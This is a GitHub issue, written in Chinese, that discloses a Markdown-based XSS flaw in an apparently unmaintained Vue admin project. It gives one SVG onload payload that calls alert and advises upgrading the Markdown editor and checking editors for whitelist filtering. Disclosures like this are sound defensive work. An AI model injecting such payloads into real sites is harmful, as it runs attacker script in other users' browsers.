Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

基于 Markdown 的 XSS 注入 #4159

Open
Chenrt-ggx opened this issue May 4, 2023 · 0 comments
Open

基于 Markdown 的 XSS 注入 #4159

Chenrt-ggx opened this issue May 4, 2023 · 0 comments

Comments

@Chenrt-ggx
Copy link

Chenrt-ggx commented May 4, 2023

Payload:

<p><svg><svg onload=onload=alert('xss')></svg></svg></p>

PoC:

其它:

看起来这个项目已经不咋维护了,这个 Issue 的目的是提醒使用这个项目的开发者注意 XSS 问题。

这个问题修复起来很简单,升级一下 Markdown Editor 就行了。

另外,一堆 Vue Admin 项目的 Markdown Editor 都能 XSS,使用奇怪的 Markdown Editor 时建议检查其是否有白名单过滤。

@Chenrt-ggx Chenrt-ggx changed the title 基于 Markdown 的 XSS 注入漏洞 基于 Markdown 的 XSS 注入 May 5, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant